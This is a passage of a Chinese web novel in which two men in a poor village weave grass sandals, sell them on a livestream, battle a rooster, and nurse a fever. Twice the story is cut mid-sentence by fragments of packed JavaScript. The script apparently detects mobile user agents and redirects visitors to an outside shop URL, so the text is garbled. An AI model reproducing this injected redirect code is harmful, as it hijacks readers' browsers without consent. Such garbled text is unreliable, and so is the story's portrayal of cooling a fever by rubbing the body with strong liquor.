昨天下过雨,路面还没干透,全是烂泥。路边的草丛里蚊子成群结队,嗡嗡声听得人头皮发麻。 “啪!” 蒋承骁一巴掌拍在胳膊上,摊开手一看,一手的血和一只死蚊子。 “这地方的蚊子要吃人啊。”蒋承骁脸色铁青,不停的挥手驱赶,“许知行,你是不是想害死我?” 许知行走在前面,淡定的回头看了一眼。 “娇气。” “这叫卫生标准!”蒋承骁吼道,“这些蚊子身上有多少细菌?被咬了会生病的!疟疾!登革热!你到底知不知道?” 许知行停下脚步。 他看了看蒋承骁那两条露在外面的大长腿,确实已经被咬了好几个包。 “等着。” 许知行走到路边的垃圾堆旁。 蒋承骁警惕的看着他:“你要干什么?别捡垃圾给我吃。” 许知行弯腰捡起四个空的大号雪碧塑料瓶,又捡了一把废弃的塑料袋。 他走回来,用柴刀把塑料瓶的底和口削掉,只留下中间的圆筒。 “腿伸出来。” “干嘛?” “防蚊。” 五分钟后。 蒋承骁低头看着自己的造型,半天没说出话来。 他的小腿上套着两个绿色的雪碧瓶筒,胳膊上也套着两个,手腕和脚踝处用麻绳扎紧,连接处塞着塑料袋。 “这……”蒋承骁指着腿上的雪碧瓶,“这就是你的解决办法?” “虽然闷了点,但蚊子肯定咬不透。”许知行很满意自己的杰作,“走吧。” 蒋承骁闭上眼,感觉自己的尊严再一次碎了一地。 但他动了动腿,发现确实没有蚊子能咬透塑料瓶,只能黑着脸跟上。 到了后山竹林。 竹子长的很密,青翠欲滴。 许知行选了一根手腕粗的竹子,举起柴刀,“咔嚓”一刀砍下去。 竹子倒了。 “你也砍。”许知行指了指旁边的一根,“我们要五十根。” 蒋承骁手里拿着另一把柴刀,站在一根竹子面前,迟迟不动手。 “怎么?”许知行问。 “太野蛮了。”蒋承骁皱眉,“这么乱砍,汁液会溅到我脸上。” 许知行叹了口气,对付这种人,得换个说法。 “这不是乱砍,是技术活。”许知行走到竹子旁,指着竹节上方三寸的位置,“你看这竹子,里面的丝都是竖着长的。你得找准角度,顺着它的劲儿一刀下去,才能切的又快又好,不伤到竹子本身。” 他看着蒋承骁:“这东西很讲究力道和准头,一般人干不了,只有懂行的人才行。” 蒋承骁的眼神变了。 “精密加工?”他握紧了柴刀,“你是说,这是一个技术活?” “当然。”许知行点头,“找准那个点,一刀下去,切口要平,那才叫本事。” 蒋承骁哼了一声,眼神一下子就变了,像是被人挑衅了一样。 “让开。” 他推开许知行,站在竹子前,眯着眼上上下下的打量,神情格外认真。 “风速,湿度,角度……”蒋承骁嘴里念叨着,“行,就是这里。” 许知行:“……” “喝!”,蒋承骁一声低喝,手起刀落。 “咔嚓!”,一声脆响,竹子应声而断,切口确实很平整。 “怎么样?”蒋承骁转过头,一脸的骄傲,“这切口,够平吧?一点毛边都没有。” “还行。”许知行忍着笑,“继续,保持这个水准。” 接下来的一个小时,蒋承骁彻底投入了进去。 他把砍竹子当成了一件正经事,每一刀都要找角度,每一刀都要摆造型。 “不行,这刀歪了点,垃圾。” “啧,力气用大了,震的手麻,失败品。” 许知行只需要在旁边负责把砍倒的竹子拖走,修剪枝叶。 免费的劳动力,真好用。 …… 中午时分。 两人满载而归。 许知行拖着一大捆竹子走在前面,蒋承骁拖着另一捆走在后面。 蒋承骁虽然身上套着塑料瓶,走起路来腰板还是挺 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烂泥瞬间没过了脚踝,黑色的泥浆溅起来,在他那件老头衫上印了好几个黑点。 许知行回头,看着蒋承骁保持着单脚站立的姿势,右脚深陷泥潭,脸色黑得像锅底。 蒋承骁眼睛死死盯着自己的脚,眼神吓人。 “许……” 他刚张开嘴,准备骂人。 许知行突然走过来,从兜里掏出一个东西剥开,飞快的塞进了蒋承骁的嘴里。 “唔!” 蒋承骁的骂声被堵了回去。 一股浓郁的奶香味在嘴里化开,是大白兔奶糖。 蒋承骁愣住了,腮帮子被糖顶的鼓了起来。他下意识地嚼了两下,很甜。 “甜吗?”许知行看着他,面无表情的问。 蒋承骁瞪着眼睛,嘴里含着糖,含糊不清的“嗯”了一声。 “甜就闭嘴。”,许知行拍了拍手上的糖纸屑,“把脚拔出来,回家吃饭。” 蒋承骁嘴里的骂声被堵了回去,甜味在嘴里散开,他心里的火气莫名其妙就消了一半。 他愤愤地嚼着糖,用力把脚从泥里拔出来。 “鞋坏了。”他含糊的说。 “回去给你做双草鞋。” “我不要草鞋!像个野人!” “那就光着。” “许知行你大爷!” 两人拖着竹子,一路吵吵闹闹的回到了老宅门口。 雨后的阳光有些刺眼。 许知行把竹子放下,刚想掏钥匙开门,动作突然停住了。 蒋承骁跟在后面,差点撞在他背上。 “怎么不走了?累傻了?”蒋承骁把嘴里的糖咽下去,探头往前看。 这一看,他也愣住了。 原本就破烂不堪的两扇木门上,被人泼了大片的红油漆。油漆还没干透,顺着木纹往下流。 在门板正中间,用红漆喷了一个巨大的、歪歪扭扭的字: “滚”。 5. 纯手工高定草鞋 许知行看着门上那个巨大的红油漆字,脸上没有表情。 蒋承骁跟在后面,手里还拖着那捆竹子。 “谁干的?”蒋承骁的声音一下子沉了下来,眼神变得凶狠。他把手里的竹子往地上一扔,大步走到门前,“这破村子里还有活腻的?” 他抬起脚,准备对着那扇摇摇欲坠的木门踹过去。 “停下。”许知行在后面出声。 蒋承骁硬生生收住脚,转头瞪着许知行:“人家都骑到你脖子上拉屎了,你还要忍?我虽然想不起来我是谁,但我知道这不能忍!让我把门踹开,看看里面有没有藏着人。” 许知行没理他。他走到门前,伸出一根手指,在那个“滚”字边缘沾了一点红漆。 他把手指放在鼻子底下,闻了闻。 “醇酸调和漆。”许知行开口说,“防水防腐,颜色很正,附着力强。这漆不便宜,一桶少说也要几十块。村里人舍得用这个泼门,下血本了。” 蒋承骁看着许知行,像在看一个神经病:“然后呢?人家让你滚,你在这研究漆的成分?” “别浪费。”许知行从口袋里掏出一把生锈的铁刮刀,递给蒋承骁。 蒋承骁没有接,警惕的盯着那把刮刀:“你要干什么?” “刮下来。”许知行指了指门板,“这漆质量不错,刚好能给竹编上色。趁它还没完全干透,赶紧刮。” 蒋承骁觉得荒谬。“你让我刮漆?你都被挑衅了!你不去找人算账,在这收集作案工具?” “别忘了红烧茄子。”许知行看着蒋承骁,提醒道,“过油两遍。多放蒜末。” 蒋承骁咬牙切齿。 “还有那个汤,要紫菜蛋花汤。”蒋承骁讨价还价。 “紫菜也没钱买。” “那就白水煮蛋花。” “成交。”许知行不知从哪找来一个破搪瓷碗,端在门板下面,“快点。干了就刮不下来了。” 蒋承骁还是接过了刮刀,走到门板前。 “刺啦——”刮刀用力刮过木板。一条红漆掉进破碗里。 “轻点,别把木屑刮下来,影响漆的纯度。”许知行在旁边提醒。 “闭嘴!”蒋承骁恶狠狠的刮着门上的“滚”字,“等老子想起来自己是谁,第一件事就是把你这破房子拆了。” 十分钟后,门上的字变成了一团模糊的红印,许知行的破碗里多了小半碗红漆。 许知行端着碗,推开门走进院子。 蒋承骁拖着竹子跟进去。刚走两步,他突然停了下来。 “啪嗒。” 蒋承承骁右脚那只原本就快断裂的塑料拖鞋,终于在烂泥的摧残下彻底报废了。鞋底断成两截,鞋面飞了出去。 蒋承骁光着一只脚,踩在院子里湿冷的泥地上。黑色的泥巴瞬间从脚趾缝里挤了出来。 蒋承骁的脸黑得能滴出水。 “我的脚脏了。”蒋承骁站在原地,一动不动,声音里带着不满,“许知行,我没有鞋穿了。” 许知行停下脚步,回头看了蒋承骁一眼。然后,许知行低头看了看自己脚上那双曾经价值两万的古驰皮鞋。 皮面早就被泥水泡烂了,鞋底开胶,里面灌满了泥浆。 “脱了。”许知行说。 “脱什么?” “鞋。”许知行把脚上的皮鞋脱下来,毫不留恋的扔进墙角的垃圾堆。 蒋承骁犹豫了一下,把左脚那只完好的拖鞋也踢飞了。 两个大男人光着脚站在院子里。 “现在穿什么?”蒋承骁问。 “自己做。”许知行走进杂物间,抱出一大捆干稻草,又拿了几根刚才砍回来的竹子边角料。 他把稻草扔在堂屋中间的地上。“做草鞋。” 蒋承骁瞪大眼睛,看着地上那堆干枯的草。“不是许知行,你来真的?草鞋?那种抗日剧里八路军穿的草鞋?” “对。” “我不穿。”蒋承骁拒绝得斩钉截铁,“太扎脚,而且像乞丐。我宁愿光脚。” “光脚容易感染破伤风。”许知行把那把游标卡尺和一把生锈的剪刀扔给蒋承骁,“干活。把稻草剪成二十厘米长,误差不能超过一毫米。” 蒋承骁拿着卡尺,气笑了。“你让我量稻草?” “怎么,精密加工工程师干不了这个?”许知行挑了挑眉。 蒋承骁不说话了。他最受不了别人质疑他的技术。 他盘腿坐在地上,拿起一把剪刀,开始量稻草。 许知行找来两块砖头,在八仙桌上架起手机。 点开直播软件。标题改成:“纯手工竹编草鞋”。 镜头对准了那张缺腿的八仙桌。许知行坐在桌前,手里拿着一把稻草和几根细竹篾。 直播间刚开,没几个人。 许知行不说话,低头开始编。他的动作很快,稻草在他手里翻飞,和竹篾交织在一起,发出细微的摩擦声。 渐渐的,直播间里进来了几十个人。 【主播今天不做灯罩了?】 【草鞋?这年头还有人穿草鞋?】 【后面那个复合肥小哥还在啊。他今天穿的是什么?老头衫?】 镜头边缘,蒋承骁正襟危坐。他穿着洗发黄的老头衫,大裤衩,胳膊和腿上还套着绿色的雪碧塑料瓶。他一手拿卡尺,一手拿剪刀,眼神专注的盯着手里的稻草。 “咔嚓。”剪断一根。 “咔嚓。”又剪断一根。 【笑死我了,那个助理小哥身上的雪碧瓶是什么新款机甲吗?】 【他量得好认真,我强迫症看得很爽。每一根都一模一样长。】 【就是好可惜,助理小哥什么时候能露脸啊?感觉是氛围感帅哥啊!】 许知行看了一眼弹幕,没理会。他把蒋承骁剪好的稻草拿过来,继续编。 半小时后,一只草鞋初具雏形。鞋底是用竹篾加固的,鞋面是稻草编的。编得很密实,纹理整齐。 弹幕里开始有人嘲讽了。 【这草鞋编得再好也是草鞋啊,穿上不就是乞丐吗?】 【现在谁还穿这个,白送我都不要。】 【主播穷疯了吧,这玩意儿能卖钱?】 【穿上这鞋,直接去要饭,一天能要两百块。】 【就是,看着就掉价。】 蒋承骁正在剪稻草,无意间抬头看了一眼架在砖头上的手机屏幕。 他看到了那几条嘲讽的弹幕。 “乞丐?”蒋承骁扔下剪刀,脸色瞬间沉了下来。 他站起来,迈着长腿几步走到桌前,一把抢过许知行刚编好的那只草鞋。 许知行停下动作,问:“你干什么?” 蒋承骁没理他。他拿着草鞋,直接怼到镜头前。 虽然他没露脸,但胸口以下全在镜头里。他拍了拍草鞋的鞋底,发出“啪啪”的声音。 “乞丐?”蒋承骁冷笑一声,声音透过麦克风传出去,低沉又带着压迫感十足,“你们懂什么叫审美吗?” 直播间瞬间安静了。 “睁大你们的眼睛看清楚。”蒋承骁指着草鞋的纹理,语气高高在上,“这叫原生环保纤维!纯手工定制!每一根稻草的长度误差不超过一毫米,这是精密加工的艺术。” 他把草鞋翻过来,展示鞋底的竹篾。 “看到这个没有?高强度竹纤维加固支撑系统。人体工学鞋底设计,贴合足弓。透气性优于爱马仕的真皮凉鞋,吸汗防臭,绿色环保。” 弹幕停滞了几秒。 【卧槽……他好会吹。】 【原生环保纤维?高强度竹纤维支撑系统?我差点信了。】 蒋承骁继续输出:“在市面上,这种级别的纯手工高定,没有几千块根本拿不下来。你们平时穿的那些化工合成的胶鞋,也配跟这个比?这穿的是返璞归真的生活态度,是品味!懂不懂?” 许知行坐在旁边,看着蒋承骁一本正经的胡说八道,嘴角忍不住抽了一下。 弹幕炸了。 【买!我买还不行吗!别骂了。】 【助理小哥好凶,我好喜欢。】 【听他这么一说,我脚上的耐克突然就不香了。】 【这口才,不去干销售可惜了。】 【主播,上链接!我要这双高定。】 蒋承骁把草鞋往桌子上一扔。“一群不识货的。”说完,他转身走回角落,继续盘腿坐下,拿起卡尺量稻草。 许知行看了一眼后台,在线人数突破了一千。 “鞋没做完,还差一只。”许知行对着镜头说,“而且,这是根据他的脚码做的。你们穿不了。” 【我不穿!我买回去供着。】 【求求了,让助理小哥试穿一下看看效果。】 【对对对,想看高定上脚图。】 许知行转头看向角落里的蒋承骁。“过来,试鞋。” “我不穿。”蒋承骁头也不抬。 “红烧茄子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299225|198618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没用。这鞋扎脚,而且我脚上有泥。”蒋承骁很有原则。 “去院子里洗。”许知行站起来,“洗干净,穿上。今天这双鞋要是卖出去,明天买牛肉。” 蒋承骁停下剪刀。牛肉。他咽了口唾沫。 两分钟后。蒋承骁在院子里用井水把脚洗得干干净净。 他走回堂屋,坐在长条凳上。许知行把镜头往下压,只拍到他的小腿和脚。 蒋承骁的脚很长,骨节分明,脚踝的线条凌厉好看。小腿上的肌肉紧实,没有一丝多余的赘肉。 许知行把那双刚编好的草鞋递给他。 蒋承骁嫌弃的捏着草鞋的边,慢慢把脚套进去。 出乎意料,不扎脚。许知行处理得很干净,稻草的毛边都被修剪掉了,编得也很紧实。 蒋承骁踩在地上,走了两步。竹篾做的鞋底很有韧性,踩在泥地上居然有种奇异的舒适感。 镜头里,一双修长好看的脚,踩着古朴的草鞋。配上他那条宽松的大裤衩,居然真的有一种诡异的时尚感。就像是那种杂志上故意搞出来的废土风大片。 弹幕疯了。 【卧槽!真的好看。】 【这脚踝,这青筋,我斯哈斯哈……】 【这鞋绝了!穿在他脚上怎么这么高级。】 【我出五百!卖给我。】 【八百!我要那双被他穿过的。】 价格一路飙升。许知行看着屏幕上的数字,手指敲了敲桌子。 “一千。成交。”许知行截了个图,“后台私信地址。不包邮。” 【主播太黑了!一千块买双草鞋还不包邮。】 【值了!这可是复合肥小哥穿过的高定。】 直播结束。 许知行关掉手机,看了一眼后台余额。一千三百块。加上昨天的,这破房子有救了。至少可以买点水泥把院墙补上。 “脱下来。”许知行指着蒋承骁脚上的草鞋,“要打包发货了。” 蒋承骁把草鞋踢掉,光脚踩在长条凳上。“我的牛肉呢?” “明天买。”许知行站起来,走向厨房,“我先做红烧茄子。” “行,多放点蒜。”蒋承骁在后面喊。 十分钟后。厨房里飘出香味。 许知行端着碗走出来。米饭,还有热气腾腾的红烧茄子。 他把碗放在八仙桌上,自己坐下准备吃。 蒋承骁坐在里屋的炕上,没动。 “吃饭,汤在厨房里,想喝就去盛。”许知行说。 “端过来。”蒋承骁靠在墙上,理直气壮。 许知行转过头看他。“你没长手?” “我脚疼。”蒋承骁指了指自己的脚底板,“刚才试那破鞋,踩到地上的小石子了。这是工伤。” “草鞋很厚,石子扎不透。” “我说扎到了就是扎到了。”蒋承骁耍赖,“我是为了你的直播事业受的伤,这是工伤赔偿。端过来。” 许知行盯着他看了几秒。 蒋承骁毫不退缩地对视。 最终,许知行端起碗,走到炕边,把饭菜放在炕沿上。 “吃完洗碗,汤你自己盛。”许知行转身回去吃自己的。 蒋承骁得意地挑了挑眉。他拿起筷子,夹了一块吸满汤汁的茄子放进嘴里。心里想着:真香,一会儿再去盛一碗汤。 吃完饭,蒋承骁破天荒地主动去洗了碗。虽然还是骂骂咧咧嫌水冷,但他洗得很干净。 今天下午没有安排。 许知行坐在桌前,翻开那个破旧的小本子,拿着铅笔在上面写字。 【收入:1000元。支出:无。结余:1220元。】 【债务人:成削。今日表现:优。具备很强的推销能力和不要脸精神。建议后续开发脚模业务。】 写完,他合上本子。 拿起手机,准备看看后台的收货地址。 私信列表里有一条未读消息。不是那个买草鞋的人发来的。 头像是一张全黑的图片,名字是一串乱码名字。 许知行点开私信。 【主播,你旁边那个助理好像挺帅的,能让他露个脸吗?】 许知行看着这条消息。 很普通的一句话,像是粉丝的留言。 但许知行回想起蒋承骁背上那些深可见骨的刀伤,还有那个被砍断的纹身。那些伤口是冲着要命去的。 许知行面无表情的盯着屏幕,手指悬在删除键上。 6. 它和我,只能活一个 许知行盯着那条私信看了三秒。 他伸出手指,没有回复,直接按了拉黑。 然后把手机屏幕一关,扔到旁边。 “看什么呢?那个买家又提什么无理要求了?”蒋承骁在角落里问。他正光着脚,小心翼翼地把昨天砍回来的竹子按尺寸分类。 “没什么。”许知行站起身,“家里没吃的了,我去换点东西。” “用什么换?” “草鞋。” 许知行拿起刚刚编好的另外两双草鞋。 他走到村西头的王大婶家。 王大婶正在院子里晒豆角,看见许知行过来,笑呵呵地打招呼:“城里来的娃,有事啊?” “王大婶。”许知行把手里的草鞋递过去,“这个换点东西。” 王大婶拿起草鞋,翻来覆去地看。“哟,这手艺,比村里老王头编的还好。结实,也好看。你要换啥?” “一只鸡,十个鸡蛋。”许知行说。 “一只鸡?”王大婶愣了,“小伙子,你这草鞋是金子做的啊?一只大公鸡能换一袋米了。” “你家那只红冠公鸡,嗓门太大,每天天不亮就叫,你不是早就嫌它吵了?”许知行说,“而且你家孙子马上要去镇上上学,这双鞋给他穿正好。下雨天不打滑。” 王大婶看了看那双小一点的草鞋,又想了想每天早上四点就被吵醒的痛苦,犹豫了。 “再加一双。”许知行把另一双大号的草鞋也递过去,“给你家男人下地穿。” “成交!”王大婶乐了,麻利地进屋拿了个篮子装了十个土鸡蛋,又去鸡窝里抓鸡。 那只大公鸡被抓住时,发出了惊天动地的惨叫声。 许知行一手提着鸡,一手挎着鸡蛋篮子往回走。 回到破屋,他把鸡往院子里一扔。 那只红冠大公鸡得了自由,抖了抖漂亮的羽毛,仰着脖子,迈着六亲不认的步伐在院子里巡视。 蒋承骁正拿着扫帚清扫堂屋门口的泥印,一抬头,就看见一只鸡大摇大摆地走了进来。 “这是什么?”蒋承骁皱眉。 “公鸡。”许知行把鸡蛋放进厨房。 那只公鸡好像听懂了,歪着头看了蒋承骁一眼,然后屁股一撅。 一坨热乎乎的、绿白相间的鸡屎,精准地落在了蒋承骁刚刚扫干净的地面上。 蒋承骁手里的扫帚停在了半空中。 他死死地盯着那摊鸡屎,眼睛里慢慢浮现出杀气。 “畜生。”蒋承骁从牙缝里挤出两个字。 公鸡“咯咯”叫了两声,迈开腿,在院子里跑了起来,一边跑,一边拉。 院子里瞬间多了好几处“地雷”。 蒋承骁的洁癖彻底发作了。 “许知行!”他吼了一声,“把它给我弄出去!” “它是我们的财产。”许知行从厨房走出来,手里拿着一把菜刀,“你要是嫌它脏,就杀了它。” “杀就杀!”蒋承骁把扫帚往地上一扔,恶狠狠地走向那只公鸡,“今天我就让你知道,什么叫食物链顶端的男人。” 公鸡好像感觉到了危险,停止了拉屎,警惕地看着蒋承骁。 一人一鸡,在院子中间对峙。 “过来,小杂毛。”蒋承骁弯下腰,对着公鸡招了招手。 公鸡没动,喉咙里发出“咕咕”的威胁声。 “给你脸了是吧?”蒋承骁猛地往前一扑。 公鸡反应极快,翅膀一扇,拔地而起,飞了半米高,轻松躲开了蒋承骁的攻击。 蒋承骁扑了个空,啃了一嘴泥。 “噗。”他吐掉嘴里的土,抬起头,眼神更凶了。 公鸡落在三米外的墙角,歪着头,用一种看傻子的眼神看着他。 “你这是在挑衅我。”蒋承骁慢慢站起来,拍了拍身上的土,“很好,公鸡。你已经成功引起了我的注意。” 许知行靠在门框上,面无表情地看着。 蒋承骁开始在院子里活动手腕和脚腕,嘴里念念有词:“敌军目标体型小,移动速度快,具备低空飞行能力。我的优势是体型和智力。不能强攻,必须智取。” 他捡起一根长长的竹竿,又找来一个破水桶。 “我从正面佯攻,吸引它的注意力。”蒋承骁对许知行说,“你从后面包抄,用桶把它罩住。” “我为什么要听你的?”许知行问。 “因为我要把它做成辣子鸡丁,而你会炒。”蒋承骁说,“这是团队合作。” “我不想吃辣子鸡丁。”许知行说,“我想留着它下蛋。” “这是公鸡,下不了蛋。” “可以配种。” “我们没有母鸡。” “以后会有的。” 蒋承骁的太阳穴突突地跳:“许知行,你是不是有病?你留着一只到处拉屎的公鸡配种?你跟它一起住吗?” “鸡笼我会编。”许知行说,“你要是不想抓,就离它远点。” “不行!”蒋承骁指着满地的鸡屎,“今天,它和我,只能活一个。” 说完,他不再理会许知行,开始制定单兵作战计划。 他拿着竹竿,悄悄地绕到院子东边,躲在一堆破烂后面。 公鸡正在西边啄一块烂菜叶。 “第一步,驱赶。”蒋承骁低声说,“把它逼到死角。” 他猛地从破烂堆后面冲出来,挥舞着竹竿,大喝一声:“呀——!” 公鸡吓了一跳,扑腾着翅膀就往院子中间跑。 “第二步,包抄!”蒋承骁迈开长腿,从侧面追了上去。 公鸡在前面跑,蒋承骁在后面追。 鸡飞狗跳。 那公鸡看着肥,跑起来却飞快,走位极其风骚,一个Z字形,就绕过了蒋承骁的围堵。 蒋承骁追得气喘吁吁,好几次都差点抓到,结果都被它躲了过去。 “妈的!”蒋承骁急了,看到公鸡跑到院子中间的烂泥坑旁边,他心生一计。 他一个加速,高高跃起,想直接飞扑过去按住公鸡。 公鸡很冷静,往旁边一闪。 “噗通!” 蒋承骁整个人脸朝下,结结实实地摔进了那个泥坑里。 院子里安静了。 公鸡停下脚步,走到泥坑边,歪着头,看着在泥里挣扎的蒋承骁。 它好像思考了一下,然后抬起一只脚,在蒋承骁的背上,踩了两个梅花印。 然后,它仰起脖子,发出一声响亮又得意的啼鸣:“喔——喔喔——!” 许知行靠在门框上,拿出手机,对着泥坑里的蒋承骁和旁边耀武扬威的公鸡,拍了张照片。 蒋承骁从泥里抬起头,满脸都是泥,只有两只眼睛是白的。 “许知行。”他的声音像是从地底下传出来的,“把刀给我。” “刀是用来切菜的。” “我现在就想把它切了!” 最后,蒋承骁还是从泥坑里爬了出来,像个泥人。他去井边冲了半天,才把身上的泥冲干净。 那只公鸡赢得了战争,被许知行命名为“将军”。 蒋承骁一下午都没说话,黑着脸坐在角落里。 许知行开始干活。 他把剩下的竹子拿出来,剖成细细的竹篾。 “干什么?”蒋承骁终于开口了。 “给将军盖个房子。”许知行说。 蒋承骁冷笑一声:“它配吗?” “它打败了你,它配。” 蒋承骁:“……” 许知行手很巧,竹篾在他手里飞快地穿梭,一个鸡笼的框架很快就成型了。 “顺便给大黑也做一个。”许知行看了一眼趴在院墙缺口处的那条黑白流浪狗。 大黑好像听懂了,摇了摇尾巴。 “你还有闲心管狗?”蒋承骁一脸的不可思议,“我们自己都快没地方住了。” “过来,把这些竹片磨光。”许知行扔给蒋承骁一块砂纸和几片宽竹片,“鸡笼不能有毛刺,会刮伤将军的羽毛。” 蒋承骁瞪着他。 “晚饭吃蒸蛋。”许知行补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吃完,他放下碗,打了个嗝,脸上还是一副嫌弃的表情:“味道一般,太淡了。” 许知行没理他,起身收拾碗筷。 蒋承骁坐在桌边没动。他看着自己碗里刚才吃剩下的几块细碎的蛋壳,鬼使神差地伸出手指,开始摆弄那些碎片。 他把那些不规则的蛋壳碎片,在桌子上一点一点地拼接起来。 许知行洗完碗回来,看到蒋承骁正对着桌子发呆。 他走过去一看,桌子上,那些被他挑出来的蛋壳碎片,被拼成了一个近乎完美的圆形。 “你干什么?”许知行问。 蒋承骁像是被吓了一跳,猛地收回手,把桌上的蛋壳扫到地上。 “没什么。”他站起来,脸色有点不自然,“闲得无聊。” 说完,他就走进里屋,躺在炕上,用破床单蒙住了头。 许知行看着地上的蛋壳碎片,没说话。 夜深了。 外面下起了大雨,雷声滚滚。 豆大的雨点砸在屋顶和窗户上,发出噼里啪啦的声响。 许知行睡在堂屋的藤椅上,被一声巨大的雷鸣惊醒。 他睁开眼,黑暗中,只有闪电偶尔照亮屋子。 里屋传来一阵压抑的、痛苦的呻吟声。 许知行皱起眉,站起身,走到里屋门口。 借着闪电的光,他看到炕上的蒋承骁正蜷缩成一团,双手紧紧抱着头,身体在不停地发抖。 “不……刹车……”蒋承骁的牙齿在打战,声音含糊不清,“刹车失灵了……有人动了手脚……” 他的呼吸变得急促,额头上全是冷汗。 “喂。”许知行走到炕边,推了推他,“醒醒。” 蒋承骁像是完全听不见,整个人陷在噩梦里。 “……快跳车……快……”他猛地喊了一声,身体剧烈地抽搐了一下。 许知行觉得不对劲。 他伸出手,摸向蒋承骁的额头。 指尖刚一碰到,就感觉一股惊人的热度传来,滚烫。 7. 只有公鸡受伤的世界 外面的雨下疯了。 雷声一个接着一个,震得屋顶的灰尘往下掉。 许知行站在炕边看着蒋承骁。 蒋承骁缩在破床单里,脸通红,呼吸很重。 许知行又摸了下他的额头,真的很烫。 “成削?”许知行喊了一声。 蒋承骁没反应,嘴唇干裂起皮。 他闭着眼,眉头紧锁,双手死死抓着草席,指甲划着席子。 许知行转身想去倒水。手刚动,手腕突然被一只滚烫的手扣住了。 蒋承骁力气大得惊人。 “别走……”蒋承骁的声音沙哑,带着颤抖。 “放手。”许知行皱眉,“我去给你拿水。” “不准走,还没签字!”蒋承骁挥动另一只手,在空中乱抓,“那个方案,得重新做……” 许知行用力挣扎了下,没挣开。蒋承骁烧糊涂了,但力气还在。两人僵持了会,许知行吸了口气,另一只手按住蒋承骁的虎口一掰,总算把手腕抽了出来。 他看了一眼自己的手腕,已经红肿了一圈,指痕清晰。 “真是麻烦精。”许知行低声说。 他快步走进厨房。外面雨太大,去村医那的路被泥石流堵了,这屋里也翻不出来药。 他打开橱柜,里面是空的,只有半瓶白酒。是老李头送的,说是自家酿的高粱酒,度数高。 许知行提着酒瓶回到屋里。他没急着喂水,先倒了一碗白酒。酒气很冲,满了屋子。 他把蒋承骁身上的床单掀开。蒋承骁冷的打了个哆嗦,身体蜷缩的更紧了。 “起来,擦身。”许知行冷淡地说。 蒋承骁迷迷糊糊睁开眼,眼神涣散,看不清眼前的人。他看见许知行拿着湿抹布靠近,本能的抗拒,伸手去推。 “滚开!法务部!叫法务部!”蒋承骁嘟囔着,手脚乱蹬,“合同条款,有漏洞!你们这是诈骗!” 许知行被他蹬到了腿,火气也上来了。他把酒碗往桌上一放,跨步上炕,一条腿跪在蒋承骁腰侧,直接把他压住。 啪! 许知行一巴掌拍在蒋承骁的脑门上。响声很脆。 蒋承骁被打懵了,动作停了,涣散的眼神聚了点光。 “看清楚,我是谁。”许知行盯着他的眼睛。 “你……你是……”蒋承骁张了张嘴。 “我是甲方。”许知行面无表情的胡扯,“现在,甲方要求你配合物理降温。再乱动,合同作废,把你扔出去喂狗。” “甲方……”蒋承骁重复着,居然真的安静了下来,委屈的躺在那,一动也不敢动。 许知行把白酒倒在抹布上,开始擦蒋承骁的腋下、手心和脚心。酒精挥发很快,带走了热量。 蒋承骁被冰的直打颤,牙齿咯咯作响,但他还是咬着牙没动,嘴里却开始碎碎念。 “甲方也不能随便打人……” “那是违约金。”许知行一边用力擦着他的胸膛,一边说,“你现在欠我的钱已经涨了。刚才你抓伤我的手腕,医药费、误工费、精神损失费,一共算你五百。加上之前的,你欠我一千八百二十块。” 蒋承骁闭着眼,眉头锁的死死的:“我好像遇到了黑心……黑心商家……” “对,我就是黑心。”许知行把抹布翻了个面,继续擦他的后背,“所以你最好赶紧好起来。你要是死了,这笔债我就只能去清算你的遗产。到时候,你的游标卡尺、你的老头衫、你的复合肥背心,全都要拿去抵债。” 听到利息和抵债,蒋承骁的求生欲强了。他原本软绵绵的身体突然紧绷了下,嘴里嘟囔着:“不能!不能抵债!那是我的……我的精密仪器!” “那就活着。”许知行把剩下的酒全倒在他背上,用力揉搓,“明天起来去后山挖笋。挖不够五十斤,利息涨到百分之二十。” 蒋承骁闭着眼喊:“我要投诉!工商局……税务局……我要举报你!你是黑心商家!” “没信号,举报无效。” 许知行折腾了半个多小时,白酒用完了,他的胳膊也累得酸。蒋承骁的体温降下去一点,但人还是不安稳。他陷入了另一个噩梦,双手在空中乱抓,抓不到东西就去抓自己的伤口。 “别抓。”许知行按住他的手。 刚按住左手,右手又抬起来了。蒋承骁在炕上扭动。 许知行看着他,觉得这样下去不是办法。他需要一个东西让蒋承骁抱着,转移注意力。 许知行看了看四周,屋里没有枕头,只有竹子和稻草。 无奈之下,许知行走出屋子,恰好听到院子里将军不耐烦的叫声。这只公鸡因为下雨被关在笼里,正憋的难受。 许知行走到鸡笼边,伸手把将军抓了出来。 公鸡疯狂挣扎,翅膀扇着风,尖嘴试图去啄许知行的手。 “老实点,去干活。”许知行掐着鸡脖子,把它拎进了屋里。 他把公鸡往蒋承骁怀里一塞。 将军刚想大叫抗议,就被蒋承骁滚烫的手死死搂住了。蒋承骁紧紧箍住公鸡,脑袋还往鸡毛里蹭了蹭。 公鸡被勒得翻白眼,脖子伸的老长,发出一声绝望的咯声。 神奇的是,抱着这毛茸茸的东西,蒋承骁真的不动了。他安静的闭上眼,呼吸逐渐平稳,甚至发出了轻微的鼾声。 将军生无可恋地趴在蒋承骁怀里,两只爪子僵硬的张开,一动也不敢动。 许知行坐在炕沿边,看着这一人一鸡,长舒了一口气。他低头看了看自己红肿的手腕,又看了看窗外变小的雨,眼皮也开始打架。他没力气回堂屋了,干脆趴在炕桌旁闭上了眼睛。 第二天清晨。 雨停了,阳光透过窗户射进来,屋里满是泥土和酒精混合的味道。 蒋承骁睁开眼,觉得头重脚轻,但烧灼感消失了。他盯着房梁看了几秒,记忆慢慢回来。甲方、白酒、利息、投诉…… 他动了动胳膊,发现怀里沉甸甸的,还有点扎手。 他低头一看。 